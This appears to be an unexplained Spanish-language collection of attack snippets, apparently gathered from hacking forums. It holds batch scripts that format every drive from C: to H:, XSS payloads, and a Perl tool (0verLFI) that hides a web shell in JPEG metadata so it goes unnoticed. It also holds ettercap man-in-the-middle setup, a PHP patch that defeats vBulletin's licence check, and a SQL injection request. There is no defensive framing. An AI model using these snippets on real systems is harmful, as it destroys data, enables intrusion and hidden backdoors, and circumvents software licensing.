format c:
if exist format d:
if exist format e:
if exist format f:   
if exist format d:
if exist format e:
if exist format f:
if exist format g:
if exist format h:
if exist format g:
if exist format h:

FOR %%x IN (
"C:", "D:", "E:", "F:", "G:", "H:"
) DO (
IF NOT EXIST %%~x (
ECHO. El dispositivo %%~x no existe
) ELSE (
FORMAT %%~x
) ECHO. Dispositivo %%~x formateado
PAUSE 
EXIT

FOR %%x IN (
"C:", "D:", "E:", "F:", "G:", "H:"
) DO (
FORMAT %%~x
) PAUSE
EXIT

<iframe
src="http://www.facebook.com/plugins/like.php?href=Tu-sitio-web;layout=button_count&show_faces=true&width=100&action=like&font=arial&colorscheme=light"
scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:100px; height:px"></iframe>

<img src=. onerror=alert(69)>

String.fromCharCode(X, Y, Z)

String.fromCharCode(88,83,83)

####################################################
#          0verLFI v0.2 Coded by The X-C3LL        #       
####################################################
#  Se trata de una herramienta bastante sencilla   #
#  para inyectar una shell en una imagen JPEG      #
#  y que esta siga pudiendo ser visualizada        #
#  correctamente, de esta forma nadie sospecha.    #
#  Lo único que hace es meter la shell dentro      #
#  de los metadatos de la foto.                    #
####################################################
#             Gr33tz to Seth & CPH Comunity        #
####################################################
#          HTTP://0VERL0AD.BLOGSPOT.COM            #
####################################################



use Image::ExifTool;

print q(

+-----------------------------------+
   0verLFI v0.1 coded by The X-C3LL  

    Http://0verl0ad.blogspot.com  
+-----------------------------------+

);

die "[-]Usage: perl 0verLFI.pl <FILE> <IMAGE>\n" unless @ARGV == 2;

my $file = $ARGV[0];
my $jpeg = $ARGV[1];
print "[+]Image = $jpeg \n";
print "[+]Shell = $file \n";

open (HANDLE, $file);
@array = <HANDLE>;
my $string = join("\n", @array);


my $tool = Image::ExifTool->new();

$tool->ExtractInfo($jpeg);
$tool->SetNewValue("Model", $string);
$done = $tool->WriteInfo($jpeg);

apt-get install libpcre3-dev libpcap0.8-dev libnet0 libnet1-dev libssl-dev ncurses-bin ncurses5-dev

./configure --enable-plugins --enable-debug

==================================================
Install directory:  /usr/local
Libraries :
LIBPCAP ................  default
LIBNET .................  default
LIBSSL .................  default
NCURSES ................  default
GTK+ ...................  yes
Functionalities :
Debug mode .............  yes
Plugin support .........  yes
Passive DNS ............  yes
Perl regex in filters ..  yes
Iconv UTF-8 support ....  yes
=================================================

ettercap -C

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

ettercap -C

if ($_GET['step'] > 2 OR $_POST['step'] > 2)
{
	require_once('./installcore.php');
	// connected to the database now lets load schema
	require_once(DIR . '/install/mysql-schema.php');
}
else
{
	if ($_ENV['REQUEST_URI'] OR $_SERVER['REQUEST_URI'])
	{
		$scriptpath = $_SERVER['REQUEST_URI'] ? $_SERVER['REQUEST_URI'] : $_ENV['REQUEST_URI'];
	}
	else
	{
		if ($_ENV['PATH_INFO'] OR $_SERVER['PATH_INFO'])
		{
			$scriptpath = $_SERVER['PATH_INFO'] ? $_SERVER['PATH_INFO']: $_ENV['PATH_INFO'];
		}
		else if ($_ENV['REDIRECT_URL'] OR $_SERVER['REDIRECT_URL'])
		{
			$scriptpath = $_SERVER['REDIRECT_URL'] ? $_SERVER['REDIRECT_URL']: $_ENV['REDIRECT_URL'];
		}
		else
		{
			$scriptpath = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_ENV['PHP_SELF'];
		}
 
		if ($_ENV['QUERY_STRING'] OR $_SERVER['QUERY_STRING'])
		{
			$scriptpath .= '?' . ($_SERVER['QUERY_STRING'] ? $_SERVER['QUERY_STRING'] : $_ENV['QUERY_STRING']);
		}
	}
	define('SCRIPTPATH', $scriptpath);
	define('SKIPDB', true);
 
	require_once('./installcore.php');
}

require_once('./installcore.php');
exit;

exit;
require_once('./installcore.php');

require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
require_once(DIR . '/install/authenticate.php');

require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
require_once(DIR . '/install/authenticate.php');
exit;

require_once('./install/init.php');
require_once(DIR . '/install/functions_installupgrade.php');
require_once(DIR . '/install/install_language_en.php');
require_once(DIR . '/includes/functions.php');
require_once(DIR . '/includes/adminfunctions.php');
$steptitles = $install_phrases['steps'];
exit;
require_once(DIR . '/install/authenticate.php');

if ($vbulletin->GPC['bbcustomerid'] !== CUSTOMER_NUMBER)

if (1 == 2)

<?php
 $finstall = 'install/authenticate.php';
 if(!$buffer = file_get_contents($finstall)){
  die('Imposible obtener el archivo '.$finstall);
 }
 $payload = '$vbulletin->GPC[\'bbcustomerid\'] !== CUSTOMER_NUMBER';
 if(strpos($buffer, $payload) > 0){
  $buffer = str_replace($payload, '1==2', $buffer);
  if(file_put_contents($finstall, $buffer)){
   header('location: /'); /* Procede la instalación */
  }else{
   die('Imposible sobreescribir el archivo '.$finstall);
  }
 }else{
  die('La versi&oacute;n de VBullet&iacute;n es incompatible');
 }
?>

GET http://sitepath.com/show_article.php?id=15

GET http://sitepath.com/show_article.php?id=15' or 1=1 --

ATTRIB +R +A +S +H

ATTRIB /?

del chat.txt

del /s /q /f chat.txt

del /?